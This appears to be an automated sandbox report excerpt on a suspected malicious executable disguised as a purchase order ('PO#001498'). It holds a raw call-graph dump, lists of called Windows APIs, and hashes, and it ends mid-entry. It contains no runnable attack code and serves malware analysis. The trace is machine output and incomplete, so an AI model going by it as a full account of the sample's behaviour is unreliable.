86368 409a40 86283->86368 86507 40e380 VariantClear ctype 86283->86507 86284->86283 86287 40b3a5 86286->86287 86288 40b53d 86286->86288 86289 430a99 86287->86289 86295 40b3b6 86287->86295 86508 45e62e 116 API calls 3 library calls 86288->86508 86509 45e62e 116 API calls 3 library calls 86289->86509 86292 430aae 86297 4092c0 VariantClear 86292->86297 86293 40b528 86293->86283 86295->86292 86298 40b3f2 86295->86298 86309 40b4fd ctype 86295->86309 86296 430dc9 86296->86296 86297->86293 86299 40b429 86298->86299 86300 40b476 ctype 86298->86300 86302 430ae9 VariantClear 86298->86302 86307 40b43b ctype 86299->86307 86510 40e380 VariantClear ctype 86299->86510 86301 40b4eb 86300->86301 86304 430d08 ctype 86300->86304 86301->86309 86511 40e380 VariantClear ctype 86301->86511 86302->86307 86303 430d41 VariantClear 86303->86309 86304->86303 86304->86309 86307->86300 86308 41171a 75 API calls 86307->86308 86308->86300 86309->86293 86512 45e62e 116 API calls 3 library calls 86309->86512 86311 409386 86310->86311 86320 409395 86310->86320 86513 4042f0 75 API calls __cinit 86311->86513 86314 42fba9 86517 45e62e 116 API calls 3 library calls 86314->86517 86316 42fc07 86519 45e62e 116 API calls 3 library calls 86316->86519 86318 42fc85 86521 4781ae 140 API calls 86318->86521 86320->86314 86320->86316 86320->86318 86322 42fd4f 86320->86322 86323 42fcd8 86320->86323 86327 42fd39 86320->86327 86331 40946f 86320->86331 86332 40947b 86320->86332 86334 4094c1 86320->86334 86339 4092c0 VariantClear 86320->86339 86340 409484 ctype 86320->86340 86516 453155 75 API calls 86320->86516 86518 40c620 118 API calls 86320->86518 86520 45e62e 116 API calls 3 library calls 86320->86520 86324 4092c0 VariantClear 86322->86324 86523 47f2b4 174 API calls 86323->86523 86324->86340 86326 42fc9c 86326->86340 86522 45e62e 116 API calls 3 library calls 86326->86522 86525 45e62e 116 API calls 3 library calls 86327->86525 86328 42fce9 86328->86340 86524 45e62e 116 API calls 3 library calls 86328->86524 86514 409210 VariantClear 86331->86514 86337 4092c0 VariantClear 86332->86337 86334->86340 86515 404260 76 API calls 86334->86515 86337->86340 86339->86320 86340->86283 86341 4094e1 86342 4092c0 VariantClear 86341->86342 86342->86340 86526 409110 117 API calls 86343->86526 86345 42ceb6 86536 410ae0 VariantClear ctype 86345->86536 86347 40906e 86347->86345 86349 42cea9 86347->86349 86351 4090a4 86347->86351 86348 42cebf 86535 45e62e 116 API calls 3 library calls 86349->86535 86527 404160 86351->86527 86354 4090f0 ctype 86354->86283 86355 4092c0 VariantClear 86356 4090be ctype 86355->86356 86356->86354 86356->86355 86358 4292e3 86357->86358 86359 40d30c 86357->86359 86360 429323 86358->86360 86361 4292fd TranslateAcceleratorW 86358->86361 86359->86283 86360->86283 86361->86359 86363 4296d0 86362->86363 86366 40d32f 86362->86366 86363->86283 86364 40d33c 86364->86283 86365 42972a IsDialogMessageW 86365->86364 86365->86366 86366->86364 86366->86365 86667 4340ec GetClassLongW 86366->86667 86369 409a66 _wcslen 86368->86369 86370 40aade _realloc ctype 86369->86370 86371 41171a 75 API calls 86369->86371 86669 401380 75 API calls 86370->86669 86372 409a9c _realloc 86371->86372 86374 41171a 75 API calls 86372->86374 86376 409abd 86374->86376 86375 42cee9 86377 41171a 75 API calls 86375->86377 86376->86370 86378 409aeb CharUpperBuffW 86376->86378 86381 409b09 ctype 86376->86381 86379 42cf10 _realloc 86377->86379 86378->86381 86701 45e62e 116 API calls 3 library calls 86379->86701 86418 409b88 ctype 86381->86418 86670 47d10e 150 API calls 86381->86670 86383 4092c0 VariantClear 86384 42e5e0 86383->86384 86702 410ae0 VariantClear ctype 86384->86702 86386 42e5f2 86387 409e4a 86387->86379 86389 41171a 75 API calls 86387->86389 86393 409ea4 86387->86393 86388 40aa5b 86390 41171a 75 API calls 86388->86390 86389->86393 86407 40aa81 _realloc ctype 86390->86407 86392 409ed0 86396 42d50d 86392->86396 86454 409ef8 _realloc ctype 86392->86454 86680 40b800 VariantClear VariantClear ctype 86392->86680 86393->86392 86394 41171a 75 API calls 86393->86394 86395 42d480 86394->86395 86397 42d491 86395->86397 86676 44b3f6 75 API calls 86395->86676 86399 42d527 86396->86399 86681 40b800 VariantClear VariantClear ctype 86396->86681 86677 40df50 75 API calls 86397->86677 86399->86454 86682 40e2e0 VariantClear ctype 86399->86682 86400 40a3a7 86405 40a415 86400->86405 86451 42db5c 86400->86451 86401 42d195 VariantClear 86401->86418 86402 4092c0 VariantClear 86402->86418 86411 41171a 75 API calls 86405->86411 86416 41171a 75 API calls 86407->86416 86428 40a41c 86411->86428 86412 41171a 75 API calls 86412->86418 86414 42db96 86688 45e62e 116 API calls 3 library calls 86414->86688 86416->86370 86417 42d4a6 86678 4530b3 75 API calls 86417->86678 86418->86379 86418->86387 86418->86388 86418->86401 86418->86402 86418->86407 86418->86412 86420 42d128 86418->86420 86421 42d20c 86418->86421 86436 42dbb9 86418->86436 86671 40c3e0 75 API calls 86418->86671 86672 40c620 118 API calls 86418->86672 86674 40be00 75 API calls 2 library calls 86418->86674 86675 40e380 VariantClear ctype 86418->86675 86423 4092c0 VariantClear 86420->86423 86421->86283 86422 42d4d7 86679 4530b3 75 API calls 86422->86679 86427 42d131 86423->86427 86673 410ae0 VariantClear ctype 86427->86673 86438 40a481 86428->86438 86689 40c8a0 VariantClear ctype 86428->86689 86431 41171a 75 API calls 86431->86454 86433 402cc0 75 API calls 86433->86454 86434 44b3f6 75 API calls 86434->86454 86435 4092c0 VariantClear 86463 40a534 _realloc ctype 86435->86463 86436->86383 86437 411421 74 API calls __cinit 86437->86454 86439 40a4ed 86438->86439 86440 42dc1e VariantClear 86438->86440 86438->86463 86444 40a4ff ctype 86439->86444 86690 40e380 VariantClear ctype 86439->86690 86440->86444 86443 41171a 75 API calls 86443->86463 86444->86443 86444->86463 86448 42deb6 VariantClear 86448->86463 86449 40a73c 86452 42e237 86449->86452 86459 40a76b 86449->86459 86450 40e380 VariantClear 86450->86463 86687 4721e5 VariantClear 86451->86687 86694 46e709 VariantClear VariantClear ctype 86452->86694 86453 42df47 VariantClear 86453->86463 86454->86370 86454->86400 86454->86414 86454->86431 86454->86433 86454->86434 86454->86437 86454->86451 86458 40a053 86454->86458 86683 45ee98 75 API calls 86454->86683 86684 4019e0 76 API calls 86454->86684 86685 404260 76 API calls 86454->86685 86686 409210 VariantClear 86454->86686 86455 42dfe9 VariantClear 86455->86463 86456 40a7a2 86469 40a7ad ctype 86456->86469 86695 40b800 VariantClear VariantClear ctype 86456->86695 86458->86283 86459->86456 86482 40a800 ctype 86459->86482 86668 40b800 VariantClear VariantClear ctype 86459->86668 86462 41171a 75 API calls 86466 42dd10 VariantInit VariantCopy 86462->86466 86463->86435 86463->86448 86463->86449 86463->86450 86463->86452 86463->86453 86463->86455 86463->86462 86471 41171a 75 API calls 86463->86471 86691 46e9cd 75 API calls 86463->86691 86692 409210 VariantClear 86463->86692 86693 44cc6c VariantClear ctype 86463->86693 86464 40a8b0 86477 40a8c2 ctype 86464->86477 86697 40e380 VariantClear ctype 86464->86697 86465 42e312 86467 42e337 VariantClear 86465->86467 86465->86477 86466->86463 86468 42dd30 VariantClear 86466->86468 86467->86477 86468->86463 86470 40a7ee 86469->86470 86475 42e2a7 VariantClear 86469->86475 86469->86482 86470->86482 86696 40e380 VariantClear ctype 86470->86696 86471->86463 86473 42e3b2 86478 42e3da VariantClear 86473->86478 86483 40a91a ctype 86473->86483 86475->86482 86476 40a908 86476->86483 86698 40e380 VariantClear ctype 86476->86698 86477->86473 86477->86476 86478->86483 86480 42e47f 86485 42e4a3 VariantClear 86480->86485 86490 40a957 ctype 86480->86490 86482->86464 86482->86465 86483->86480 86484 40a945 86483->86484 86484->86490 86699 40e380 VariantClear ctype 86484->86699 86485->86490 86487 40aa22 ctype 86487->86283 86488 42e559 VariantClear 86488->86490 86490->86487 86490->86488 86700 40e380 VariantClear ctype 86490->86700 86491->86247 86492->86278 86493->86278 86494->86278 86495->86278 86496->86278 86497->86278 86499 40412e 86498->86499 86500 4092c0 VariantClear 86499->86500 86501 404138 86500->86501 86501->86272 86502->86278 86503->86278 86504->86283 86505->86246 86506->86283 86507->86283 86508->86289 86509->86292 86510->86307 86511->86309 86512->86296 86513->86320 86514->86332 86515->86341 86516->86320 86517->86340 86518->86320 86519->86340 86520->86320 86521->86326 86522->86340 86523->86328 86524->86340 86525->86322 86526->86347 86528 4092c0 VariantClear 86527->86528 86529 40416e 86528->86529 86530 404120 VariantClear 86529->86530 86531 40419b 86530->86531 86537 40efe0 86531->86537 86545 4734b7 86531->86545 86532 4041c6 86532->86345 86532->86356 86535->86345 86536->86348 86538 40eff5 CreateFileW 86537->86538 86539 4299bf 86537->86539 86540 40f017 86538->86540 86539->86540 86541 4299c4 CreateFileW 86539->86541 86540->86532 86541->86540 86542 4299ea 86541->86542 86587 40e0d0 SetFilePointerEx SetFilePointerEx 86542->86587 86544 4299f5 86544->86540 86546 453063 111 API calls 86545->86546 86547 4734d7 86546->86547 86548 473545 86547->86548 86549 47350c 86547->86549 86588 463c42 86548->86588 86550 4092c0 VariantClear 86549->86550 86557 473514 86550->86557 86552 473558 86553 47355c 86552->86553 86570 473595 86552->86570 86554 4092c0 VariantClear 86553->86554 86563 473564 86554->86563 86555 473616 86601 463d7e 86555->86601 86557->86532 86558 473622 86560 473697 86558->86560 86561 47362c 86558->86561 86559 453063 111 API calls 86559->86570 86633 457838 86560->86633 86564 4092c0 VariantClear 86561->86564 86563->86532 86567 473634 86564->86567 86567->86532 86569 473655 86572 4092c0 VariantClear 86569->86572 86570->86555 86570->86559 86570->86569 86645 462f5a 87 API calls __wcsicoll 86570->86645 86581 47365d 86572->86581 86573 4736b0 86646 45e62e 116 API calls 3 library calls 86573->86646 86574 4736c9 86647 40e7e0 76 API calls 86574->86647 86577 4736ba GetCurrentProcess TerminateProcess 86577->86574 86578 4736db 86584 4736ff 86578->86584 86648 40d030 76 API calls 86578->86648 86580 4736f1 86649 46b945 134 API calls 2 library calls 86580->86649 86581->86532 86586 473731 86584->86586 86650 40d030 76 API calls 86584->86650 86651 46b945 134 API calls 2 library calls 86584->86651 86586->86532 86587->86544 86652 45335b 76 API calls 86588->86652 86590 463c5d 86653 442c52 80 API calls _wcslen 86590->86653 86592 463c72 86594 40c060 75 API calls 86592->86594 86600 463cac 86592->86600 86595 463c8e 86594->86595 86654 4608ce 75 API calls _realloc 86595->86654 86597 463cf7 86597->86552 86598 463ca4 86599 40c740 75 API calls 86598->86599 86599->86600 86600->86597 86655 462f5a 87 API calls __wcsicoll 86600->86655 86602 453063 111 API calls 86601->86602 86603 463d99 86602->86603 86604 463de0 86603->86604 86605 463dca 86603->86605 86657 40c760 78 API calls 86604->86657 86656 453081 111 API calls 86605->86656 86608 463dd0 LoadLibraryW 86616 463e09 86608->86616 86609 463de7 86623 463e19 86609->86623 86658 40c760 78 API calls 86609->86658 86611 463e3e 86614 463e4e 86611->86614 86615 463e7b 86611->86615 86612 463dfb 86612->86623 86659 40c760 78 API calls 86612->86659 86660 40d500 75 API calls 86614->86660 86662 40c760 78 API calls 86615->86662 86616->86611 86616->86623 86619 463e82 GetProcAddress 86624 463e90 86619->86624 86620 463e57 86661 45efe7 77 API calls ctype 86620->86661 86622 463e62 GetProcAddress 86625 463e79 86622->86625 86623->86558 86624->86623 86624->86625 86625->86624 86663 403470 75 API calls _realloc 86625->86663 86627 463eb4 86664 40d500 75 API calls 86627->86664 86629 463ebd 86665 45efe7 77 API calls ctype 86629->86665 86631 463ec8 GetProcAddress 86666 401330 ctype 86631->86666 86634 457a4c 86633->86634 86640 45785f _strcat _wcslen _wcscpy ctype 86633->86640 86641 410d40 86634->86641 86635 443576 78 API calls 86635->86640 86636 453081 111 API calls 86636->86640 86637 40c760 78 API calls 86637->86640 86638 4138ba 67 API calls _malloc 86638->86640 86639 40f580 77 API calls 86639->86640 86640->86634 86640->86635 86640->86636 86640->86637 86640->86638 86640->86639 86642 410d55 86641->86642 86643 410ded VirtualProtect 86642->86643 86644 410dbb 86642->86644 86643->86644 86644->86573 86644->86574 86645->86570 86646->86577 86647->86578 86648->86580 86649->86584 86650->86584 86651->86584 86652->86590 86653->86592 86654->86598 86655->86597 86656->86608 86657->86609 86658->86612 86659->86616 86660->86620 86661->86622 86662->86619 86663->86627 86664->86629 86665->86631 86666->86623 86667->86366 86668->86456 86669->86375 86670->86381 86671->86418 86672->86418 86673->86487 86674->86418 86675->86418 86676->86397 86677->86417 86678->86422 86679->86392 86680->86396 86681->86399 86682->86454 86683->86454 86684->86454 86685->86454 86686->86454 86687->86414 86688->86436 86689->86428 86690->86444 86691->86463 86692->86463 86693->86463 86694->86456 86695->86469 86696->86482 86697->86477 86698->86483 86699->86490 86700->86490 86701->86436 86702->86386 86703 42919b 86708 40ef10 86703->86708 86706 411421 __cinit 74 API calls 86707 4291aa 86706->86707 86709 41171a 75 API calls 86708->86709 86710 40ef17 86709->86710 86711 42ad48 86710->86711 86716 40ef40 74 API calls __cinit 86710->86716 86713 40ef2a 86717 40e470 86713->86717 86716->86713 86718 40c060 75 API calls 86717->86718 86719 40e483 GetVersionExW 86718->86719 86720 4021e0 75 API calls 86719->86720 86721 40e4bb 86720->86721 86743 40e600 86721->86743 86727 42accc 86729 42ad28 GetSystemInfo 86727->86729 86733 42ad38 GetSystemInfo 86729->86733 86730 40e557 GetCurrentProcess 86763 40ee30 LoadLibraryA GetProcAddress 86730->86763 86731 40e56c 86731->86733 86756 40eee0 86731->86756 86736 40e5c9 86760 40eea0 86736->86760 86739 40e5e0 86741 40e5f1 FreeLibrary 86739->86741 86742 40e5f4 86739->86742 86740 40e5dd FreeLibrary 86740->86739 86741->86742 86742->86706 86744 40e60b 86743->86744 86745 40c740 75 API calls 86744->86745 86746 40e4c2 86745->86746 86747 40e620 86746->86747 86748 40e62a 86747->86748 86749 42ac93 86748->86749 86750 40c740 75 API calls 86748->86750 86751 40e4ce 86750->86751 86751->86727 86752 40ee70 86751->86752 86753 40e551 86752->86753 86754 40ee76 LoadLibraryA 86752->86754 86753->86730 86753->86731 86754->86753 86755 40ee87 GetProcAddress 86754->86755 86755->86753 86757 40e5bf 86756->86757 86758 40eee6 LoadLibraryA 86756->86758 86757->86729 86757->86736 86758->86757 86759 40eef7 GetProcAddress 86758->86759 86759->86757 86764 40eec0 LoadLibraryA GetProcAddress 86760->86764 86762 40e5d3 GetNativeSystemInfo 86762->86739 86762->86740 86763->86731 86764->86762 86765 42e89e 86772 40c000 86765->86772 86767 42e8ac 86768 409a40 165 API calls 86767->86768 86769 42e8ca 86768->86769 86783 44b92e VariantClear 86769->86783 86771 42f3ae 86773 40c014 86772->86773 86774 40c007 86772->86774 86776 40c01a 86773->86776 86777 40c02c 86773->86777 86784 409210 VariantClear 86774->86784 86785 409210 VariantClear 86776->86785 86780 41171a 75 API calls 86777->86780 86778 40c00f 86778->86767 86782 40c033 86780->86782 86781 40c023 86781->86767 86782->86767 86783->86771 86784->86778 86785->86781

                                                                                                                                                                                                        Executed Functions

                                                                                                                                                                                                        Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                        • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                        • String ID: 0vH$4RH
                                                                                                                                                                                                        • API String ID: 1143807570-2085553193
                                                                                                                                                                                                        • Opcode ID: 9afcfa0464a8bf2340200ce8ce710be87dd534dff684ebea75dae85cfdd7aee9
                                                                                                                                                                                                        • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9afcfa0464a8bf2340200ce8ce710be87dd534dff684ebea75dae85cfdd7aee9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                                                                                                                        Function 0040E470 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 165COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1204 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 1213 40e506-40e509 1204->1213 1214 42accc-42acd1 1204->1214 1215 40e540-40e555 call 40ee70 1213->1215 1216 40e50b-40e51c 1213->1216 1217 42acd3-42acdb 1214->1217 1218 42acdd-42ace0 1214->1218 1235 40e557-40e573 GetCurrentProcess call 40ee30 1215->1235 1236 40e579-40e5a8 1215->1236 1221 40e522-40e525 1216->1221 1222 42ac9b-42aca7 1216->1222 1224 42ad12-42ad20 1217->1224 1219 42ace2-42aceb 1218->1219 1220 42aced-42acf0 1218->1220 1219->1224 1220->1224 1225 42acf2-42ad06 1220->1225 1221->1215 1226 40e527-40e537 1221->1226 1228 42acb2-42acba 1222->1228 1229 42aca9-42acad 1222->1229 1234 42ad28-42ad2d GetSystemInfo 1224->1234 1230 42ad08-42ad0c 1225->1230 1231 42ad0e 1225->1231 1232 42acbf-42acc7 1226->1232 1233 40e53d 1226->1233 1228->1215 1229->1215 1230->1224 1231->1224 1232->1215 1233->1215 1238 42ad38-42ad3d GetSystemInfo 1234->1238 1235->1236 1246 40e575 1235->1246 1236->1238 1239 40e5ae-40e5c3 call 40eee0 1236->1239 1239->1234 1243 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 1239->1243 1248 40e5e0-40e5ef 1243->1248 1249 40e5dd-40e5de FreeLibrary 1243->1249 1246->1236 1250 40e5f1-40e5f2 FreeLibrary 1248->1250 1251 40e5f4-40e5ff 1248->1251 1249->1248 1250->1251
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                                                                                                                        • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                                                                                                                        • String ID: pMH$#v
                                                                                                                                                                                                        • API String ID: 2923339712-1800489730
                                                                                                                                                                                                        • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                                                        • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                                                                                                                        Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                                                                        • API String ID: 2574300362-3542929980
                                                                                                                                                                                                        • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                                                        • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                                                                                                                                        Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                                                                                                                          • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                        • _wcsncat.LIBCMT ref: 00410C78
                                                                                                                                                                                                        • __wmakepath.LIBCMT ref: 00410C94
                                                                                                                                                                                                          • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                                                                                                                        • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                                                                                                                        • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00429C43
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00429C55
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00429C66
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00429C80
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                        • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                                                                        • API String ID: 1004883554-2276155026
                                                                                                                                                                                                        • Opcode ID: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                                                                        • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                                                                                                                                        Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                                          • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                                        • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                                                                                                                                                        • timeGetTime.WINMM ref: 00409880
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                                                                                                                                        • String ID:
